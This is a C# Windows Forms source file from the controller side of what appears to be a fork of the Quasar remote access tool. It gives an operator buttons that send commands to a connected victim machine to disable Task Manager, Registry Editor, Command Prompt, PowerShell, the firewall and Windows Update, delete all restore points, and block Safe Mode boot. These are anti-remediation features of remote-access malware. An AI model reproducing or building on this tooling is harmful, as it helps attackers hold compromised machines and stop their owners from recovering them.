using Quasar.Common.Messages;
using Quasar.Server.Forms.DarkMode;
using Quasar.Server.Models;
using Quasar.Server.Networking;
using Quasar.Server.Forms.DarkMode;
using Quasar.Server.Models;
using Quasar.Server.Utilities;
using System;
using System.Windows.Forms;

namespace Quasar.Server.Forms
{
    public partial class FrmSystemOptions : Form
    {
        private readonly Client _connectClient;
        public static FrmSystemOptions Instance { get; private set; }

        public FrmSystemOptions(Client client)
        {
            _connectClient = client;
            Instance = this;
            InitializeComponent();
        }

        private void FrmSystemOptions_Load(object sender, EventArgs e)
        {
            if (Settings.DarkMode) { DarkModeManager.ApplyDarkMode(this); }
            ThemeManager.ApplyThemeToNewForm(this);
            this.Text = $"System Options - {_connectClient.Value.Tag}";
            txtLog.AppendText($"[{DateTime.Now:HH:mm:ss}] Connected to {_connectClient.Value.Tag}\r\n");
        }

        private void FrmSystemOptions_FormClosing(object sender, FormClosingEventArgs e)
        {
            Instance = null;
        }

        private void btnEnableRegistry_Click(object sender, EventArgs e)
        {
            SendOption("REGISTRY", true);
            txtLog.AppendText($"[{DateTime.Now:HH:mm:ss}] Enabling Registry Editor...\r\n");
        }

        private void btnDisableRegistry_Click(object sender, EventArgs e)
        {
            SendOption("REGISTRY", false);
            txtLog.AppendText($"[{DateTime.Now:HH:mm:ss}] Disabling Registry Editor...\r\n");
        }

        private void btnEnableTaskMgr_Click(object sender, EventArgs e)
        {
            SendOption("TASKMGR", true);
            txtLog.AppendText($"[{DateTime.Now:HH:mm:ss}] Enabling Task Manager...\r\n");
        }

        private void btnDisableTaskMgr_Click(object sender, EventArgs e)
        {
            SendOption("TASKMGR", false);
            txtLog.AppendText($"[{DateTime.Now:HH:mm:ss}] Disabling Task Manager...\r\n");
        }

        private void btnEnableCmd_Click(object sender, EventArgs e)
        {
            SendOption("CMD", true);
            txtLog.AppendText($"[{DateTime.Now:HH:mm:ss}] Enabling Command Prompt...\r\n");
        }

        private void btnDisableCmd_Click(object sender, EventArgs e)
        {
            SendOption("CMD", false);
            txtLog.AppendText($"[{DateTime.Now:HH:mm:ss}] Disabling Command Prompt...\r\n");
        }

        private void btnEnableFirewall_Click(object sender, EventArgs e)
        {
            SendOption("FIREWALL", true);
            txtLog.AppendText($"[{DateTime.Now:HH:mm:ss}] Enabling Firewall...\r\n");
        }

        private void btnDisableFirewall_Click(object sender, EventArgs e)
        {
            SendOption("FIREWALL", false);
            txtLog.AppendText($"[{DateTime.Now:HH:mm:ss}] Disabling Firewall...\r\n");
        }

        private void btnDeleteRestorePoints_Click(object sender, EventArgs e)
        {
            DialogResult result = MessageBox.Show(
                "Are you sure you want to delete all restore points? This cannot be undone.",
                "Confirm Delete",
                MessageBoxButtons.YesNo,
                MessageBoxIcon.Warning);

            if (result == DialogResult.Yes)
            {
                SendOption("RESTOREPOINTS", false);
                txtLog.AppendText($"[{DateTime.Now:HH:mm:ss}] Deleting Restore Points...\r\n");
            }
        }

        private void btnEnablePowerShell_Click(object sender, EventArgs e)
        {
            SendOption("POWERSHELL", true);
            txtLog.AppendText($"[{DateTime.Now:HH:mm:ss}] Enabling PowerShell...\r\n");
        }

        private void btnDisablePowerShell_Click(object sender, EventArgs e)
        {
            SendOption("POWERSHELL", false);
            txtLog.AppendText($"[{DateTime.Now:HH:mm:ss}] Disabling PowerShell...\r\n");
        }

        private void btnEnablePsExec_Click(object sender, EventArgs e)
        {
            SendOption("PSEXECUTION", true);
            txtLog.AppendText($"[{DateTime.Now:HH:mm:ss}] Enabling PS Script Execution...\r\n");
        }

        private void btnDisablePsExec_Click(object sender, EventArgs e)
        {
            SendOption("PSEXECUTION", false);
            txtLog.AppendText($"[{DateTime.Now:HH:mm:ss}] Restricting PS Script Execution...\r\n");
        }

        private void btnEnableWinUpdate_Click(object sender, EventArgs e)
        {
            SendOption("WINDOWSUPDATE", true);
            txtLog.AppendText($"[{DateTime.Now:HH:mm:ss}] Enabling Windows Update...\r\n");
        }

        private void btnDisableWinUpdate_Click(object sender, EventArgs e)
        {
            SendOption("WINDOWSUPDATE", false);
            txtLog.AppendText($"[{DateTime.Now:HH:mm:ss}] Disabling Windows Update...\r\n");
        }

        private void btnEnableRdp_Click(object sender, EventArgs e)
        {
            SendOption("RDP", true);
            txtLog.AppendText($"[{DateTime.Now:HH:mm:ss}] Enabling Remote Desktop...\r\n");
        }

        private void btnDisableRdp_Click(object sender, EventArgs e)
        {
            SendOption("RDP", false);
            txtLog.AppendText($"[{DateTime.Now:HH:mm:ss}] Disabling Remote Desktop...\r\n");
        }

        private void btnEnableUsb_Click(object sender, EventArgs e)
        {
            SendOption("USB", true);
            txtLog.AppendText($"[{DateTime.Now:HH:mm:ss}] Enabling USB Storage...\r\n");
        }

        private void btnDisableUsb_Click(object sender, EventArgs e)
        {
            SendOption("USB", false);
            txtLog.AppendText($"[{DateTime.Now:HH:mm:ss}] Disabling USB Storage...\r\n");
        }

        private void btnEnableControlPanel_Click(object sender, EventArgs e)
        {
            SendOption("CONTROLPANEL", true);
            txtLog.AppendText($"[{DateTime.Now:HH:mm:ss}] Enabling Control Panel...\r\n");
        }

        private void btnDisableControlPanel_Click(object sender, EventArgs e)
        {
            SendOption("CONTROLPANEL", false);
            txtLog.AppendText($"[{DateTime.Now:HH:mm:ss}] Disabling Control Panel...\r\n");
        }

        private void btnEnableRunDialog_Click(object sender, EventArgs e)
        {
            SendOption("RUNDIALOG", true);
            txtLog.AppendText($"[{DateTime.Now:HH:mm:ss}] Enabling Run Dialog...\r\n");
        }

        private void btnDisableRunDialog_Click(object sender, EventArgs e)
        {
            SendOption("RUNDIALOG", false);
            txtLog.AppendText($"[{DateTime.Now:HH:mm:ss}] Disabling Run Dialog...\r\n");
        }

        private void btnAllowSafeMode_Click(object sender, EventArgs e)
        {
            SendOption("SAFEMODE", true);
            txtLog.AppendText($"[{DateTime.Now:HH:mm:ss}] Allowing Safe Mode Boot...\r\n");
        }

        private void btnBlockSafeMode_Click(object sender, EventArgs e)
        {
            SendOption("SAFEMODE", false);
            txtLog.AppendText($"[{DateTime.Now:HH:mm:ss}] Blocking Safe Mode Boot...\r\n");
        }

        private void SendOption(string option, bool enable)
        {
            _connectClient.Send(new DoSystemOption
            {
                Option = option,
                Enable = enable
            });
        }

        public void HandleResponse(Client client, SystemOptionResponse response)
        {
            if (InvokeRequired)
            {
                Invoke(new Action(() => HandleResponse(client, response)));
                return;
            }

            string status = response.Success ? "SUCCESS" : "FAILED";
            txtLog.AppendText($"[{DateTime.Now:HH:mm:ss}] {status}: {response.Message}\r\n");
        }
    }
}
